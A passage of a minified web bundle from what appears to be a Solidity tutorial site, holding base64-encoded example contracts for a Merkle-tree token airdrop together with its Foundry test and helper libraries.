0ZSBoYXNoZXM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gUmV3YXJkKSBwcml2YXRlIGhhc2hUb1Jld2FyZDsKCiAgICB1aW50MjU2IGNvbnN0YW50IE4gPSAxMDA7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRva2VuID0gbmV3IFRva2VuKCJ0ZXN0IiwgIlRFU1QiLCAxOCk7CgogICAgICAgIC8vIEluaXRpYWxpemUgdXNlcnMgYW5kIGFpcmRyb3AgYW1vdW50cwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IE47IGkrKykgewogICAgICAgICAgICByZXdhcmRzLnB1c2goCiAgICAgICAgICAgICAgICBSZXdhcmQoe3RvOiBhZGRyZXNzKHVpbnQxNjAoaSkpLCBhbW91bnQ6IChpICsgMSkgKiAxMDB9KQogICAgICAgICAgICApOwogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZShyZXdhcmRzW2ldLnRvLCByZXdhcmRzW2ldLmFtb3VudCkpKTsKICAgICAgICAgICAgaGFzaFRvUmV3YXJkW2hhc2hlc1tpXV0gPSByZXdhcmRzW2ldOwogICAgICAgIH0KCiAgICAgICAgaGFzaGVzID0gTWVya2xlSGVscGVyLnNvcnQoaGFzaGVzKTsKCiAgICAgICAgYnl0ZXMzMiByb290ID0gTWVya2xlSGVscGVyLmNhbGNSb290KGhhc2hlcyk7CgogICAgICAgIGFpcmRyb3AgPSBuZXcgQWlyZHJvcChhZGRyZXNzKHRva2VuKSwgcm9vdCk7CgogICAgICAgIHRva2VuLnNldEF1dGhvcml6ZWQoYWRkcmVzcyhhaXJkcm9wKSwgdHJ1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF92YWxpZF9wcm9vZigpIHB1YmxpYyB7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgTjsgaSsrKSB7CiAgICAgICAgICAgIGJ5dGVzMzIgaCA9IGhhc2hlc1tpXTsKICAgICAgICAgICAgUmV3YXJkIG1lbW9yeSByZXdhcmQgPSBoYXNoVG9SZXdhcmRbaF07CiAgICAgICAgICAgIGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YgPSBNZXJrbGVIZWxwZXIuZ2V0UHJvb2YoaGFzaGVzLCBpKTsKCiAgICAgICAgICAgIGFpcmRyb3AuY2xhaW0ocHJvb2YsIHJld2FyZC50bywgcmV3YXJkLmFtb3VudCk7CiAgICAgICAgICAgIGFzc2VydEVxKHRva2VuLmJhbGFuY2VPZihyZXdhcmQudG8pLCByZXdhcmQuYW1vdW50KTsKICAgICAgICB9CiAgICB9Cn0K"},{fileName:"Hashes.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBPcGVuWmVwcGVsaW4gQ29udHJhY3RzCgpwcmFnbWEgc29saWRpdHkgXjAuOC4wOwoKbGlicmFyeSBIYXNoZXMgewogICAgZnVuY3Rpb24gY29tbXV0YXRpdmVLZWNjYWsyNTYoYnl0ZXMzMiBhLCBieXRlczMyIGIpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gYSA8IGIgPyBfZWZmaWNpZW50S2VjY2FrMjU2KGEsIGIpIDogX2VmZmljaWVudEtlY2NhazI1NihiLCBhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZWZmaWNpZW50S2VjY2FrMjU2KGJ5dGVzMzIgYSwgYnl0ZXMzMiBiKQogICAgICAgIHByaXZhdGUKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2YWx1ZSkKICAgIHsKICAgICAgICAvLy8gQHNvbGlkaXR5IG1lbW9yeS1zYWZlLWFzc2VtYmx5CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBtc3RvcmUoMHgwMCwgYSkKICAgICAgICAgICAgbXN0b3JlKDB4MjAsIGIpCiAgICAgICAgICAgIHZhbHVlIDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MerkleHelper.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWVya2xlSGVscGVyIHsKICAgIC8vIEJ1YmJsZSBzb3J0CiAgICBmdW5jdGlvbiBzb3J0KGJ5dGVzMzJbXSBtZW1vcnkgYXJyKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgdWludDI1NiBuID0gYXJyLmxlbmd0aDsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpKyspIHsKICAgICAgICAgICAgZm9yICh1aW50MjU2IGogPSAwOyBqIDwgbiAtIDEgLSBpOyBqKyspIHsKICAgICAgICAgICAgICAgIGlmIChhcnJbal0gPiBhcnJbaiArIDFdKSB7CiAgICAgICAgICAgICAgICAgICAgKGFycltqXSwgYXJyW2ogKyAxXSkgPSAoYXJyW2ogKyAxXSwgYXJyW2pdKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFycjsKICAgIH0KCiAgICBmdW5jdGlvbiB5dWxLZWNjYWsyNTYoYnl0ZXMzMiBhLCBieXRlczMyIGIpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2KQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbXN0b3JlKDB4MDAsIGEpCiAgICAgICAgICAgIG1zdG9yZSgweDIwLCBiKQogICAgICAgICAgICB2IDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjYWxjUm9vdChieXRlczMyW10gbWVtb3J5IGhhc2hlcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgbGVmdCA9IGhhc2hlc1tpXTsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgcmlnaHQgPSBoYXNoZXNbaSArIDEgPCBuID8gaSArIDEgOiBpXTsKICAgICAgICAgICAgICAgIChsZWZ0LCByaWdodCkgPSBsZWZ0IDw9IHJpZ2h0ID8gKGxlZnQsIHJpZ2h0KSA6IChyaWdodCwgbGVmdCk7CiAgICAgICAgICAgICAgICBoYXNoZXNbaSA+PiAxXSA9IHl1bEtlY2NhazI1NihsZWZ0LCByaWdodCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgbiA9IChuICsgKG4gJiAxKSkgPj4gMTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoZXNbMF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJvb2YoYnl0ZXMzMltdIG1lbW9yeSBoYXNoZXMsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMltdIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mID0gbmV3IGJ5dGVzMzJbXSgwKTsKICAgICAgICB1aW50MjU2IGxlbiA9IDA7CgogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CiAgICAgICAgdWludDI1NiBrID0gaW5kZXg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICAvLyBHZXQgcHJvb2YgZm9yIHRoaXMgbGV2ZWwKICAgICAgICAgICAgdWludDI1NiBqID0gayAmIDEgPT0gMSA/IGsgLSAxIDogKGsgKyAxIDwgbiA/IGsgKyAxIDogayk7CiAgICAgICAgICAgIGJ5dGVzMzIgaCA9IGhhc2hlc1tqXTsKCiAgICAgICAgICAgIC8vIHByb29mLnB1c2goaCkKICAgICAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAgICAgbGVuIDo9IGFkZChsZW4sIDEpCiAgICAgICAgICAgICAgICBsZXQgcG9zIDo9IGFkZChwcm9vZiwgc2hsKDUsIGxlbikpCiAgICAgICAgICAgICAgICBtc3RvcmUocG9zLCBoKQogICAgICAgICAgICAgICAgbXN0b3JlKHByb29mLCBsZW4pCiAgICAgICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKHBvcywgMHgyMCkpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGsgPj49IDE7CgogICAgICAgICAgICAvLyBDYWxjdWxhdGUgbmV4dCBsZXZlbCBvZiBoYXNoZXMKICAgICAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgbjsgaSArPSAyKSB7CiAgICAgICAgICAgICAgICBieXRlczMyIGxlZnQgPSBoYXNoZXNbaV07CiAgICAgICAgICAgICAgICBieXRlczMyIHJpZ2h0ID0gaGFzaGVzW2kgKyAxIDwgbiA/IGkgKyAxIDogaV07CiAgICAgICAgICAgICAgICAobGVmdCwgcmlnaHQpID0gbGVmdCA8PSByaWdodCA/IChsZWZ0LCByaWdodCkgOiAocmlnaHQsIGxlZnQpOwogICAgICAgICAgICAgICAgaGFzaGVzW2kgPj4gMV0gPSB5dWxLZWNjYWsyNTYobGVmdCwgcmlnaHQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIG4gPSAobiArIChuICYgMSkpID4+IDE7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcHJvb2Y7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YsIGJ5dGVzMzIgcm9vdCwgYnl0ZXMzMiBsZWFmKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJ5dGVzMzIgbGVmdCwgYnl0ZXMzMiByaWdodCkgPQogICAgICAgICAgICAgICAgaCA8PSBwcm9vZltpXSA/IChoLCBwcm9vZltpXSkgOiAocHJvb2ZbaV0sIGgpOwogICAgICAgICAgICBoID0geXVsS2VjY2FrMjU2KGxlZnQsIHJpZ2h0KTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoID09IHJvb3Q7CiAgICB9Cn0K"},{fileName:"MerkleProof.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBPcGVuWmVwcGVsaW4gQ29udHJhY3RzCgpwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCB7SGFzaGVzfSBmcm9tICIuL0hhc2hlcy5zb2wiOwoKbGlicmFyeSBNZXJrbGVQcm9vZiB7CiAgICBmdW5jdGlvbiB2ZXJpZnkoYnl0ZXMzMltdIG1lbW9yeSBwcm9vZiwgYnl0ZXMzMiByb290LCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gcHJvY2Vzc1Byb29mKHByb29mLCBsZWFmKSA9PSByb290OwogICAgfQoKICAgIGZ1bmN0aW9uIHByb2Nlc3NQcm9vZihieXRlczMyW10gbWVtb3J5IHByb29mLCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICBieXRlczMyIGNvbXB1dGVkSGFzaCA9IGxlYWY7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgY29tcHV0ZWRIYXNoID0gSGFzaGVzLmNvbW11dGF0aXZlS2VjY2FrMjU2KGNvbXB1dGVkSGFzaCwgcHJvb2ZbaV0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gY29tcHV0ZWRIYXNoOwogICAgfQp9Cg=="},{fileName:"Token.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEVSQzIwICsgbWludCArIGF1dGhvcml6YXRpb24KY29udHJhY3QgVG9rZW4gewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IHZhbHVlCiAgICApOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpKSBwdWJsaWMgYWxsb3dhbmNlOwogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgZGVjaW1hbHM7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkgcHVibGljIGF1dGhvcml6ZWQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBhdXRob3JpemVkW21zZy5zZW5kZXJdID0gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRBdXRob3JpemVkKGFkZHJlc3MgYWRkciwgYm9vbCBhdXRoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShhdXRob3JpemVkW21zZy5zZW5kZXJdLCAibm90IGF1dGhvcml6ZWQiKTsKICAgICAgICBhdXRob3JpemVkW2FkZHJdID0gYXV0aDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVtzZW5kZXJdW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2Zbc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBtaW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShhdXRob3JpemVkW21zZy5zZW5kZXJdLCAibm90IGF1dGhvcml6ZWQiKTsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="}],sj=`

Example of airdrop contract using Merkle tree.

+`,_C=({prev:s,next:a})=>r.jsx(A,{version:DC,title:EC,description:QC,html:UC,prev:s,next:a,codes:TC}),LC="0.8.24",OC="Merkle Airdrop",PC="Airdrop contract using Merkle tree",$C=[{fileName:"Airdrop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7TWVya2xlUHJvb2Z9IGZyb20gIi4vTWVya2xlUHJvb2Yuc29sIjsKCmludGVyZmFjZSBJVG9rZW4gewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEFpcmRyb3AgewogICAgZXZlbnQgQ2xhaW0oYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpOwoKICAgIElUb2tlbiBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgYnl0ZXMzMiBwdWJsaWMgaW1tdXRhYmxlIHJvb3Q7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGNsYWltZWQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4sIGJ5dGVzMzIgX3Jvb3QpIHsKICAgICAgICB0b2tlbiA9IElUb2tlbihfdG9rZW4pOwogICAgICAgIHJvb3QgPSBfcm9vdDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRMZWFmSGFzaChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGUodG8sIGFtb3VudCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YsIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICB7CiAgICAgICAgLy8gTk9URTogKHRvLCBhbW91bnQpIGNhbm5vdCBoYXZlIGR1cGxpY2F0ZXMKICAgICAgICBieXRlczMyIGxlYWYgPSBnZXRMZWFmSGFzaCh0bywgYW1vdW50KTsKCiAgICAgICAgcmVxdWlyZSghY2xhaW1lZFtsZWFmXSwgImFpcmRyb3AgYWxyZWFkeSBjbGFpbWVkIik7CiAgICAgICAgcmVxdWlyZShNZXJrbGVQcm9vZi52ZXJpZnkocHJvb2YsIHJvb3QsIGxlYWYpLCAiaW52YWxpZCBtZXJrbGUgcHJvb2YiKTsKICAgICAgICBjbGFpbWVkW2xlYWZdID0gdHJ1ZTsKCiAgICAgICAgdG9rZW4ubWludCh0bywgYW1vdW50KTsKCiAgICAgICAgZW1pdCBDbGFpbSh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"AirdropTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7TWVya2xlSGVscGVyfSBmcm9tICIuL01lcmtsZUhlbHBlci5zb2wiOwppbXBvcnQge0FpcmRyb3B9IGZyb20gIi4uLy4uLy4uL3NyYy9hcHAvYWlyZHJvcC9BaXJkcm9wLnNvbCI7CmltcG9ydCB7VG9rZW59IGZyb20gIi4uLy4uLy4uL3NyYy9hcHAvYWlyZHJvcC9Ub2tlbi5zb2wiOwoKY29udHJhY3QgQWlyZHJvcFRlc3QgaXMgVGVzdCB7CiAgICBUb2tlbiBwcml2YXRlIHRva2VuOwogICAgQWlyZHJvcCBwcml2YXRlIGFpcmRyb3A7CgogICAgc3RydWN0IFJld2FyZCB7CiAgICAgICAgYWRkcmVzcyB0bzsKICAgICAgICB1aW50MjU2IGFtb3VudDsKICAgIH0KCiAgICBSZXdhcmRbXSBwcml2YXRlIHJld2FyZHM7CiAgICBieXRlczMyW10gcHJpdmF0ZSBoYXNoZXM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gUmV3YXJkKSBwcml2YXRlIGhhc2hUb1Jld2FyZDsKCiAgICB1aW50MjU2IGNvbnN0YW50IE4gPSAxMDA7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRva2VuID0gbmV3IFRva2VuKCJ0ZXN0IiwgIlRFU1QiLCAxOCk7CgogICAgICAgIC8vIEluaXRpYWxpemUgdXNlcnMgYW5kIGFpcmRyb3AgYW1vdW50cwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IE47IGkrKykgewogICAgICAgICAgICByZXdhcmRzLnB1c2goCiAgICAgICAgICAgICAgICBSZXdhcmQoe3RvOiBhZGRyZXNzKHVpbnQxNjAoaSkpLCBhbW91bnQ6IChpICsgMSkgKiAxMDB9KQogICAgICAgICAgICApOwogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZShyZXdhcmRzW2ldLnRvLCByZXdhcmRzW2ldLmFtb3VudCkpKTsKICAgICAgICAgICAgaGFzaFRvUmV3YXJkW2hhc2hlc1tpXV0gPSByZXdhcmRzW2ldOwogICAgICAgIH0KCiAgICAgICAgaGFzaGVzID0gTWVya2xlSGVscGVyLnNvcnQoaGFzaGVzKTsKCiAgICAgICAgYnl0ZXMzMiByb290ID0gTWVya2xlSGVscGVyLmNhbGNSb290KGhhc2hlcyk7CgogICAgICAgIGFpcmRyb3AgPSBuZXcgQWlyZHJvcChhZGRyZXNzKHRva2VuKSwgcm9vdCk7CgogICAgICAgIHRva2VuLnNldEF1dGhvcml6ZWQoYWRkcmVzcyhhaXJkcm9wKSwgdHJ1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF92YWxpZF9wcm9vZigpIHB1YmxpYyB7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgTjsgaSsrKSB7CiAgICAgICAgICAgIGJ5dGVzMzIgaCA9IGhhc2hlc1tpXTsKICAgICAgICAgICAgUmV3YXJkIG1lbW9yeSByZXdhcmQgPSBoYXNoVG9SZXdhcmRbaF07CiAgICAgICAgICAgIGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YgPSBNZXJrbGVIZWxwZXIuZ2V0UHJvb2YoaGFzaGVzLCBpKTsKCiAgICAgICAgICAgIGFpcmRyb3AuY2xhaW0ocHJvb2YsIHJld2FyZC50bywgcmV3YXJkLmFtb3VudCk7CiAgICAgICAgICAgIGFzc2VydEVxKHRva2VuLmJhbGFuY2VPZihyZXdhcmQudG8pLCByZXdhcmQuYW1vdW50KTsKICAgICAgICB9CiAgICB9Cn0K"},{fileName:"Hashes.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBPcGVuWmVwcGVsaW4gQ29udHJhY3RzCgpwcmFnbWEgc29saWRpdHkgXjAuOC4wOwoKbGlicmFyeSBIYXNoZXMgewogICAgZnVuY3Rpb24gY29tbXV0YXRpdmVLZWNjYWsyNTYoYnl0ZXMzMiBhLCBieXRlczMyIGIpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gYSA8IGIgPyBfZWZmaWNpZW50S2VjY2FrMjU2KGEsIGIpIDogX2VmZmljaWVudEtlY2NhazI1NihiLCBhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZWZmaWNpZW50S2VjY2FrMjU2KGJ5dGVzMzIgYSwgYnl0ZXMzMiBiKQogICAgICAgIHByaXZhdGUKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2YWx1ZSkKICAgIHsKICAgICAgICAvLy8gQHNvbGlkaXR5IG1lbW9yeS1zYWZlLWFzc2VtYmx5CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBtc3RvcmUoMHgwMCwgYSkKICAgICAgICAgICAgbXN0b3JlKDB4MjAsIGIpCiAgICAgICAgICAgIHZhbHVlIDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MerkleHelper.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWVya2xlSGVscGVyIHsKICAgIC8vIEJ1YmJsZSBzb3J0CiAgICBmdW5jdGlvbiBzb3J0KGJ5dGVzMzJbXSBtZW1vcnkgYXJyKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgdWludDI1NiBuID0gYXJyLmxlbmd0aDsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpKyspIHsKICAgICAgICAgICAgZm9yICh1aW50MjU2IGogPSAwOyBqIDwgbiAtIDEgLSBpOyBqKyspIHsKICAgICAgICAgICAgICAgIGlmIChhcnJbal0gPiBhcnJbaiArIDFdKSB7CiAgICAgICAgICAgICAgICAgICAgKGFycltqXSwgYXJyW2ogKyAxXSkgPSAoYXJyW2ogKyAxXSwgYXJyW2pdKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFycjsKICAgIH0KCiAgICBmdW5jdGlvbiB5dWxLZWNjYWsyNTYoYnl0ZXMzMiBhLCBieXRlczMyIGIpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2KQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbXN0b3JlKDB4MDAsIGEpCiAgICAgICAgICAgIG1zdG9yZSgweDIwLCBiKQogICAgICAgICAgICB2IDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjYWxjUm9vdChieXRlczMyW10gbWVtb3J5IGhhc2hlcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgbGVmdCA9IGhhc2hlc1tpXTsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgcmlnaHQgPSBoYXNoZXNbaSArIDEgPCBuID8gaSArIDEgOiBpXTsKICAgICAgICAgICAgICAgIChsZWZ0LCByaWdodCkgPSBsZWZ0IDw9IHJpZ2h0ID8gKGxlZnQsIHJpZ2h0KSA6IChyaWdodCwgbGVmdCk7CiAgICAgICAgICAgICAgICBoYXNoZXNbaSA+PiAxXSA9IHl1bEtlY2NhazI1NihsZWZ0LCByaWdodCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgbiA9IChuICsgKG4gJiAxKSkgPj4gMTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoZXNbMF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJvb2YoYnl0ZXMzMltdIG1lbW9yeSBoYXNoZXMsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMltdIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcz